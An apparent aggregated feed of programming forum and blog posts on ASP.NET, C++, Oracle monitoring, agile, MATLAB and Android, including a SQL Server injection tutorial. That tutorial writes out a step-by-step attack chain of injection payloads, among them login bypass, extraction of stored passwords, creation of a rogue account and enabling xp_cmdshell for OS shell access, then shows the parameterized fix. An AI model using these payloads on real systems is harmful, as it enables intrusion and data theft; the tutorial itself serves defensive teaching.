  Hi, If a disabled drop-down list is dynamically rendered to the page, it is still possible to use Firebug, or another tool, to tamper with the submitted value, and to remove the "disabled" HTML attribute. This code: protected override void OnLoad(EventArgs e) { var ddlTest = new DropDownList() {ID="ddlTest", Enabled = false}; ddlTest.Items.AddRange(new [] { new ListItem("Please select", ""), new ListItem("test 1", "1"), new ListItem("test 2", "2") }); Controls.Add(ddlTest); } results in this HTML being rendered: <select disabled="disabled" id="Properties_ddlTest" name="Properties$ddlTest"> <option value="" selected="selected">Please select</option> <option value="1">test 1</option> <option value="2">test 2</option> </select> The problem occurs when I use Firebug to remove the "disabled" attribute, and to change the selected option. On submission of the form, and re-creation of the field, the newly generated control has the correct value by the end of OnLoad, but by OnPreRender, it has assumed the identity of the submitted control and has been given the submitted form value. .NET seems to have no way of detecting the fact that the field was originally created in a disabled state and that the submitted value was faked. This is understandable, as there could be legitimate, client-side functionality that would allow the disabled attribute to be removed. Is there some way, other than a brute force approach, of detecting that this field's value should not have been changed? I see the brute force approach as being something crap, like saving the correct value somewhere while still in OnLoad, and restoring the value in the OnPreRender. As some fields have dependencies on others, that would be unacceptable to me.

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• Porting Python algorithm to C++ - different solution

  - by cb0

  Hello, I have written a little brute string generation script in python to generate all possible combinations of an alphabet within a given length. It works quite nice, but for the reason I wan't it to be faster I try to port it to C++. The problem is that my C++ Code is creating far too much combination for one word. Heres my example in python: ./test.py gives me aaa aab aac aad aa aba .... while ./test (the c++ programm gives me) aaa aaa aaa aaa aa Here I also get all possible combinations, but I get them twice ore more often. Here is the Code for both programms: #!/usr/bin/env python import sys #Brute String Generator #Start it with ./brutestringer.py 4 6 "abcdefghijklmnopqrstuvwxyz1234567890" "" #will produce all strings with length 4 to 6 and chars from a to z and numbers 0 to 9 def rec(w, p, baseString): for c in "abcd": if (p<w - 1): rec(w, p + 1, baseString + "%c" % c) print baseString for b in range(3,4): rec(b, 0, "") And here the C++ Code #include <iostream> using namespace std; string chars="abcd"; void rec(int w,int b,string p){ unsigned int i; for(i=0;i<chars.size();i++){ if(b < (w-1)){ rec(w, (b+1), p+chars[i]); } cout << p << "\n"; } } int main () { int a=3, b=0; rec (a+1,b, ""); return 0; } Does anybody see my fault ? I don't have much experience with C++. Thanks indeed

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• How To Clear An Alert - Part 2

  - by werner.de.gruyter

  There were some interesting comments and remarks on the original posting, so I decided to do a follow-up and address some of the issues that got raised... Handling Metric Errors First of all, there is a significant difference between an 'error' and an 'alert'. An 'alert' is the violation of a condition (a threshold) specified for a given metric. That means that the Agent is collecting and gathering the data for the metric, but there is a situation that requires the attention of an administrator. An 'error' on the other hand however, is a failure to collect metric data: The Agent is throwing the error because it cannot determine the value for the metric Whereas the 'alert' guarantees continuity of the metric data, an 'error' signals a big unknown. And the unknown aspect of all this is what makes an error a lot more serious than a regular alert: If you don't know what the current state of affairs is, there could be some serious issues brewing that nobody is aware of... The life-cycle of a Metric Error Clearing a metric error is pretty much the same workflow as a metric 'alert': The Agent signals the error after it failed to execute the metric The error is uploaded to the OMS/repository, where it becomes visible in the Console The error will remain active until the Agent is able to execute the metric successfully. Even though the metric is still getting scheduled and executed on a regular basis, the error will remain outstanding as long as the Agent is not capable of executing the metric correctly Knowing this, the way to fix the metric error should be obvious: Take the 'problem' away, and as soon as the metric is executed again (based on the frequency of the metric), the error will go away. The same tricks used to clear alerts can be used here too: Wait for the next scheduled execution. For those metrics that are executed regularly (like every 15 minutes or so), it's just a matter of waiting those minutes to see the updates. The 'Reevaluate Alert' button can be used to force a re-execution of the metric. In case a metric is executed once a day, this will be a better way to make sure that the underlying problem has been solved. And if it has been, the metric error will be removed, and the regular data points will be uploaded to the repository. And just in case you have to 'force' the issue a little: If you disable and re-enable a metric, it will get re-scheduled. And that means a new metric execution, and an update of the (hopefully) fixed problem. Database server-generated alerts and problem checkers There are various ways the Agent can collect metric data: Via a script or a SQL statement, reading a log file, getting a value from an SNMP OID or listening for SNMP traps or via the DBMS_SERVER_ALERTS mechanism of an Oracle database. For those alert which are generated by the database (like tablespace metrics for 10g and above databases), the Agent just 'waits' for the database to report any new findings. If the Agent has lost the current state of the server-side metrics (due to an incomplete recovery after a disaster, or after an improper use of the 'emctl clearstate' command), the Agent might be still aware of an alert that the database no longer has (or vice versa). The same goes for 'problem checker' alerts: Those metrics that only report data if there is a problem (like the 'invalid objects' metric) will also have a problem if the Agent state has been tampered with (again, the incomplete recovery, and after improper use of 'emctl clearstate' are the two main causes for this). The best way to deal with these kinds of mismatches, is to simple disable and re-enable the metric again: The disabling will clear the state of the metric, and the re-enabling will force a re-execution of the metric, so the new and updated results can get uploaded to the repository. Starting 10gR5, the Agent performs additional checks and verifications after each restart of the Agent and/or each state change of the database (shutdown/startup or failover in case of DataGuard) to catch these kinds of mismatches.

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• SQL Server SQL Injection from start to end

  - by Mladen Prajdic

  SQL injection is a method by which a hacker gains access to the database server by injecting specially formatted data through the user interface input fields. In the last few years we have witnessed a huge increase in the number of reported SQL injection attacks, many of which caused a great deal of damage. A SQL injection attack takes many guises, but the underlying method is always the same. The specially formatted data starts with an apostrophe (') to end the string column (usually username) check, continues with malicious SQL, and then ends with the SQL comment mark (--) in order to comment out the full original SQL that was intended to be submitted. The really advanced methods use binary or encoded text inputs instead of clear text. SQL injection vulnerabilities are often thought to be a database server problem. In reality they are a pure application design problem, generally resulting from unsafe techniques for dynamically constructing SQL statements that require user input. It also doesn't help that many web pages allow SQL Server error messages to be exposed to the user, having no input clean up or validation, allowing applications to connect with elevated (e.g. sa) privileges and so on. Usually that's caused by novice developers who just copy-and-paste code found on the internet without understanding the possible consequences. The first line of defense is to never let your applications connect via an admin account like sa. This account has full privileges on the server and so you virtually give the attacker open access to all your databases, servers, and network. The second line of defense is never to expose SQL Server error messages to the end user. Finally, always use safe methods for building dynamic SQL, using properly parameterized statements. Hopefully, all of this will be clearly demonstrated as we demonstrate two of the most common ways that enable SQL injection attacks, and how to remove the vulnerability. 1) Concatenating SQL statements on the client by hand 2) Using parameterized stored procedures but passing in parts of SQL statements As will become clear, SQL Injection vulnerabilities cannot be solved by simple database refactoring; often, both the application and database have to be redesigned to solve this problem. Concatenating SQL statements on the client This problem is caused when user-entered data is inserted into a dynamically-constructed SQL statement, by string concatenation, and then submitted for execution. Developers often think that some method of input sanitization is the solution to this problem, but the correct solution is to correctly parameterize the dynamic SQL. In this simple example, the code accepts a username and password and, if the user exists, returns the requested data. First the SQL code is shown that builds the table and test data then the C# code with the actual SQL Injection example from beginning to the end. The comments in code provide information on what actually happens. /* SQL CODE *//* Users table holds usernames and passwords and is the object of out hacking attempt */CREATE TABLE Users( UserId INT IDENTITY(1, 1) PRIMARY KEY , UserName VARCHAR(50) , UserPassword NVARCHAR(10))/* Insert 2 users */INSERT INTO Users(UserName, UserPassword)SELECT 'User 1', 'MyPwd' UNION ALLSELECT 'User 2', 'BlaBla' Vulnerable C# code, followed by a progressive SQL injection attack. /* .NET C# CODE *//*This method checks if a user exists. It uses SQL concatination on the client, which is susceptible to SQL injection attacks*/private bool DoesUserExist(string username, string password){ using (SqlConnection conn = new SqlConnection(@"server=YourServerName; database=tempdb; Integrated Security=SSPI;")) { /* This is the SQL string you usually see with novice developers. It returns a row if a user exists and no rows if it doesn't */ string sql = "SELECT * FROM Users WHERE UserName = '" + username + "' AND UserPassword = '" + password + "'"; SqlCommand cmd = conn.CreateCommand(); cmd.CommandText = sql; cmd.CommandType = CommandType.Text; cmd.Connection.Open(); DataSet dsResult = new DataSet(); /* If a user doesn't exist the cmd.ExecuteScalar() returns null; this is just to simplify the example; you can use other Execute methods too */ string userExists = (cmd.ExecuteScalar() ?? "0").ToString(); return userExists != "0"; } }}/*The SQL injection attack example. Username inputs should be run one after the other, to demonstrate the attack pattern.*/string username = "User 1";string password = "MyPwd";// See if we can even use SQL injection.// By simply using this we can log into the application username = "' OR 1=1 --";// What follows is a step-by-step guessing game designed // to find out column names used in the query, via the // error messages. By using GROUP BY we will get // the column names one by one.// First try the Idusername = "' GROUP BY Id HAVING 1=1--";// We get the SQL error: Invalid column name 'Id'.// From that we know that there's no column named Id. // Next up is UserIDusername = "' GROUP BY Users.UserId HAVING 1=1--";// AHA! here we get the error: Column 'Users.UserName' is // invalid in the SELECT list because it is not contained // in either an aggregate function or the GROUP BY clause.// We have guessed correctly that there is a column called // UserId and the error message has kindly informed us of // a table called Users with a column called UserName// Now we add UserName to our GROUP BYusername = "' GROUP BY Users.UserId, Users.UserName HAVING 1=1--";// We get the same error as before but with a new column // name, Users.UserPassword// Repeat this pattern till we have all column names that // are being return by the query.// Now we have to get the column data types. One non-string // data type is all we need to wreck havoc// Because 0 can be implicitly converted to any data type in SQL server we use it to fill up the UNION.// This can be done because we know the number of columns the query returns FROM our previous hacks.// Because SUM works for UserId we know it's an integer type. It doesn't matter which exactly.username = "' UNION SELECT SUM(Users.UserId), 0, 0 FROM Users--";// SUM() errors out for UserName and UserPassword columns giving us their data types:// Error: Operand data type varchar is invalid for SUM operator.username = "' UNION SELECT SUM(Users.UserName) FROM Users--";// Error: Operand data type nvarchar is invalid for SUM operator.username = "' UNION SELECT SUM(Users.UserPassword) FROM Users--";// Because we know the Users table structure we can insert our data into itusername = "'; INSERT INTO Users(UserName, UserPassword) SELECT 'Hacker user', 'Hacker pwd'; --";// Next let's get the actual data FROM the tables.// There are 2 ways you can do this.// The first is by using MIN on the varchar UserName column and // getting the data from error messages one by one like this:username = "' UNION SELECT min(UserName), 0, 0 FROM Users --";username = "' UNION SELECT min(UserName), 0, 0 FROM Users WHERE UserName > 'User 1'--";// we can repeat this method until we get all data one by one// The second method gives us all data at once and we can use it as soon as we find a non string columnusername = "' UNION SELECT (SELECT * FROM Users FOR XML RAW) as c1, 0, 0 --";// The error we get is: // Conversion failed when converting the nvarchar value // '<row UserId="1" UserName="User 1" UserPassword="MyPwd"/>// <row UserId="2" UserName="User 2" UserPassword="BlaBla"/>// <row UserId="3" UserName="Hacker user" UserPassword="Hacker pwd"/>' // to data type int.// We can see that the returned XML contains all table data including our injected user account.// By using the XML trick we can get any database or server info we wish as long as we have access// Some examples:// Get info for all databasesusername = "' UNION SELECT (SELECT name, dbid, convert(nvarchar(300), sid) as sid, cmptlevel, filename FROM master..sysdatabases FOR XML RAW) as c1, 0, 0 --";// Get info for all tables in master databaseusername = "' UNION SELECT (SELECT * FROM master.INFORMATION_SCHEMA.TABLES FOR XML RAW) as c1, 0, 0 --";// If that's not enough here's a way the attacker can gain shell access to your underlying windows server// This can be done by enabling and using the xp_cmdshell stored procedure// Enable xp_cmdshellusername = "'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;";// Create a table to store the values returned by xp_cmdshellusername = "'; CREATE TABLE ShellHack (ShellData NVARCHAR(MAX))--";// list files in the current SQL Server directory with xp_cmdshell and store it in ShellHack table username = "'; INSERT INTO ShellHack EXEC xp_cmdshell \"dir\"--";// return the data via an error messageusername = "' UNION SELECT (SELECT * FROM ShellHack FOR XML RAW) as c1, 0, 0; --";// delete the table to get clean output (this step is optional)username = "'; DELETE ShellHack; --";// repeat the upper 3 statements to do other nasty stuff to the windows server// If the returned XML is larger than 8k you'll get the "String or binary data would be truncated." error// To avoid this chunk up the returned XML using paging techniques. // the username and password params come from the GUI textboxes.bool userExists = DoesUserExist(username, password ); Having demonstrated all of the information a hacker can get his hands on as a result of this single vulnerability, it's perhaps reassuring to know that the fix is very easy: use parameters, as show in the following example. /* The fixed C# method that doesn't suffer from SQL injection because it uses parameters.*/private bool DoesUserExist(string username, string password){ using (SqlConnection conn = new SqlConnection(@"server=baltazar\sql2k8; database=tempdb; Integrated Security=SSPI;")) { //This is the version of the SQL string that should be safe from SQL injection string sql = "SELECT * FROM Users WHERE UserName = @username AND UserPassword = @password"; SqlCommand cmd = conn.CreateCommand(); cmd.CommandText = sql; cmd.CommandType = CommandType.Text; // adding 2 SQL Parameters solves the SQL injection issue completely SqlParameter usernameParameter = new SqlParameter(); usernameParameter.ParameterName = "@username"; usernameParameter.DbType = DbType.String; usernameParameter.Value = username; cmd.Parameters.Add(usernameParameter); SqlParameter passwordParameter = new SqlParameter(); passwordParameter.ParameterName = "@password"; passwordParameter.DbType = DbType.String; passwordParameter.Value = password; cmd.Parameters.Add(passwordParameter); cmd.Connection.Open(); DataSet dsResult = new DataSet(); /* If a user doesn't exist the cmd.ExecuteScalar() returns null; this is just to simplify the example; you can use other Execute methods too */ string userExists = (cmd.ExecuteScalar() ?? "0").ToString(); return userExists == "1"; }} We have seen just how much danger we're in, if our code is vulnerable to SQL Injection. If you find code that contains such problems, then refactoring is not optional; it simply has to be done and no amount of deadline pressure should be a reason not to do it. Better yet, of course, never allow such vulnerabilities into your code in the first place. Your business is only as valuable as your data. If you lose your data, you lose your business. Period. Incorrect parameterization in stored procedures It is a common misconception that the mere act of using stored procedures somehow magically protects you from SQL Injection. There is no truth in this rumor. If you build SQL strings by concatenation and rely on user input then you are just as vulnerable doing it in a stored procedure as anywhere else. This anti-pattern often emerges when developers want to have a single "master access" stored procedure to which they'd pass a table name, column list or some other part of the SQL statement. This may seem like a good idea from the viewpoint of object reuse and maintenance but it's a huge security hole. The following example shows what a hacker can do with such a setup. /*Create a single master access stored procedure*/CREATE PROCEDURE spSingleAccessSproc( @select NVARCHAR(500) = '' , @tableName NVARCHAR(500) = '' , @where NVARCHAR(500) = '1=1' , @orderBy NVARCHAR(500) = '1')ASEXEC('SELECT ' + @select + ' FROM ' + @tableName + ' WHERE ' + @where + ' ORDER BY ' + @orderBy)GO/*Valid use as anticipated by a novice developer*/EXEC spSingleAccessSproc @select = '*', @tableName = 'Users', @where = 'UserName = ''User 1'' AND UserPassword = ''MyPwd''', @orderBy = 'UserID'/*Malicious use SQL injectionThe SQL injection principles are the same aswith SQL string concatenation I described earlier,so I won't repeat them again here.*/EXEC spSingleAccessSproc @select = '* FROM INFORMATION_SCHEMA.TABLES FOR XML RAW --', @tableName = '--Users', @where = '--UserName = ''User 1'' AND UserPassword = ''MyPwd''', @orderBy = '--UserID' One might think that this is a "made up" example but in all my years of reading SQL forums and answering questions there were quite a few people with "brilliant" ideas like this one. Hopefully I've managed to demonstrate the dangers of such code. Even if you think your code is safe, double check. If there's even one place where you're not using proper parameterized SQL you have vulnerability and SQL injection can bare its ugly teeth.

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• What are they buying &ndash; work or value?

  - by Jamie Kurtz

  When was the last time you ordered a pizza like this: “I want the high school kid in the back to do the following… make a big circle with some dough, curl up the edges, then put some sauce on it using a small ladle, then I want him to take a handful of shredded cheese from the metal container and spread it over the circle and sauce, then finally I want the kid to place 36 pieces of pepperoni over the top of the cheese” ?? Probably never. My typical pizza order usually goes more like this: “I want a large pepperoni pizza”. In the world of software development, we try so hard to be all things agile. We: Write lots of unit tests We refactor our code, then refactor it some more We avoid writing lengthy requirements documents We try to keep processes to a minimum, and give developers freedom And we are proud of our constantly shifting focus (i.e. we’re “responding to change”) Yet, after all this, we fail to really lean and capitalize on one of agile’s main differentiators (from the twelve principles behind the Agile Manifesto): “Working software is the primary measure of progress.” That is, we foolishly commit to delivering tasks instead of features and bug fixes. Like my pizza example above, we fall into the trap of signing contracts that bind us to doing tasks – rather than delivering working software. And the biggest problem here… by far the most troubling outcome… is that we don’t let working software be a major force in all the work we do. When teams manage to ruthlessly focus on the end product, it puts them on the path of true agile. It doesn’t let them accidentally write too much documentation, or spend lots of time and money on processes and fancy tools. It forces early testing that reveals problems in the feature or bug fix. And it forces lots and lots of customer interaction.  Without that focus on the end product as your deliverable… by committing to a list of tasks instead of a list features and bug fixes… you are doomed to NOT be agile. You will end up just doing stuff, spending time on the keyboard, burning time on timesheets. Doing tasks doesn’t force you to minimize documentation. It makes it much harder to respond to change. And it will eventually force you and the client into contract haggling. Because the customer isn’t really paying you to do stuff. He’s ultimately paying for features and bug fixes. And when the customer doesn’t get what they want, responding with “well, look at the contract - we did all the tasks we committed to” doesn’t typically generate referrals or callbacks. In short, if you’re trying to deliver real value to the customer by going agile, you will most certainly fail if all you commit to is a list of things you’re going to do. Give agile what it needs by committing to features and bug fixes – not a list of ToDo items. So the next time you are writing up a contract, remember that the customer should be buying this: Not this:

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• Drawing random smooth lines contained in a square [migrated]

  - by Doug Mercer

  I'm trying to write a matlab function that creates random, smooth trajectories in a square of finite side length. Here is my current attempt at such a procedure: function [] = drawroutes( SideLength, v, t) %DRAWROUTES Summary of this function goes here % Detailed explanation goes here %Some parameters intended to help help keep the particles in the box RandAccel=.01; ConservAccel=0; speedlimit=.1; G=10^(-8); % %Initialize Matrices Ax=zeros(v,10*t); Ay=Ax; vx=Ax; vy=Ax; x=Ax; y=Ax; sx=zeros(v,1); sy=zeros(v,1); % %Define initial position in square x(:,1)=SideLength*.15*ones(v,1)+(SideLength*.7)*rand(v,1); y(:,1)=SideLength*.15*ones(v,1)+(SideLength*.7)*rand(v,1); % for i=2:10*t %Measure minimum particle distance component wise from boundary %for each vehicle BorderGravX=[abs(SideLength*ones(v,1)-x(:,i-1)),abs(x(:,i-1))]'; BorderGravY=[abs(SideLength*ones(v,1)-y(:,i-1)),abs(y(:,i-1))]'; rx=min(BorderGravX)'; ry=min(BorderGravY)'; % %Set the sign of the repulsive force for k=1:v if x(k,i)<.5*SideLength sx(k)=1; else sx(k)=-1; end if y(k,i)<.5*SideLength sy(k)=1; else sy(k)=-1; end end % %Calculate Acceleration w/ random "nudge" and repulive force Ax(:,i)=ConservAccel*Ax(:,i-1)+RandAccel*(rand(v,1)-.5*ones(v,1))+sx*G./rx.^2; Ay(:,i)=ConservAccel*Ay(:,i-1)+RandAccel*(rand(v,1)-.5*ones(v,1))+sy*G./ry.^2; % %Ad hoc method of trying to slow down particles from jumping outside of %feasible region for h=1:v if abs(vx(h,i-1)+Ax(h,i))<speedlimit vx(h,i)=vx(h,i-1)+Ax(h,i); elseif (vx(h,i-1)+Ax(h,i))<-speedlimit vx(h,i)=-speedlimit; else vx(h,i)=speedlimit; end end for h=1:v if abs(vy(h,i-1)+Ay(h,i))<speedlimit vy(h,i)=vy(h,i-1)+Ay(h,i); elseif (vy(h,i-1)+Ay(h,i))<-speedlimit vy(h,i)=-speedlimit; else vy(h,i)=speedlimit; end end % %Update position x(:,i)=x(:,i-1)+(vx(:,i-1)+vx(:,i))/2; y(:,i)=y(:,i-1)+(vy(:,i-1)+vy(:,1))/2; % end %Plot position clf; hold on; axis([-100,SideLength+100,-100,SideLength+100]); cc=hsv(v); for j=1:v plot(x(j,1),y(j,1),'ko') plot(x(j,:),y(j,:),'color',cc(j,:)) end hold off; % end My original plan was to place particles within a square, and move them around by allowing their acceleration in the x and y direction to be governed by a uniformly distributed random variable. To keep the particles within the square, I tried to create a repulsive force that would push the particles away from the boundaries of the square. In practice, the particles tend to leave the desired "feasible" region after a relatively small number of time steps (say, 1000)." I'd love to hear your suggestions on either modifying my existing code or considering the problem from another perspective. When reading the code, please don't feel the need to get hung up on any of the ad hoc parameters at the very beginning of the script. They seem to help, but I don't believe any beside the "G" constant should truly be necessary to make this system work. Here is an example of the current output: Many of the vehicles have found their way outside of the desired square region, [0,400] X [0,400].

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• Parse Exception: At line 1, column 0: no element found

  - by Jeffrey

  Hi everyone, I have a weird issue. I receive the following error that causes a force-close: org.apache.harmony.xml.ExpatParser$ParseException: At line 1, column 0: no element found at org.apache.harmony.xml.ExpatParser.parseFragment(ExpatParser.java:508) at org.apache.harmony.xml.ExpatParser.parseDocument(ExpatParser.java:467) at org.apache.harmony.xml.ExpatReader.parse(ExpatReader.java:329) at org.apache.harmony.xml.ExpatReader.parse(ExpatReader.java:286) After clicking the Force Close button, the Activity is recreated and the parsing completes without a hitch. I'm using the following code snippet inside doInBackground of an AsyncTask: URL serverAddress = new URL(url[0]); HTTPURLConnection connection = (HttpURLConnection) serverAddress.openConnection(); connection.setRequestMethod("GET"); connection.setDoOutput(true); connection.setReadTimeout(10000); connection.connect(); InputStream stream = connection.getInputStream(); SAXParserFactory spf = SAXParserFactory.newInstance(); SAXParser sp = spf.newSAXParser(); XMLReader xr = sp.getXMLReader(); xr.parse(new InputSource(stream)); // The line that throws the exception Why would the Activity force-close and then run without any problems immediately after? Would a BufferedInputStream be any different? I'm baffled. :( Thanks for your time everyone.

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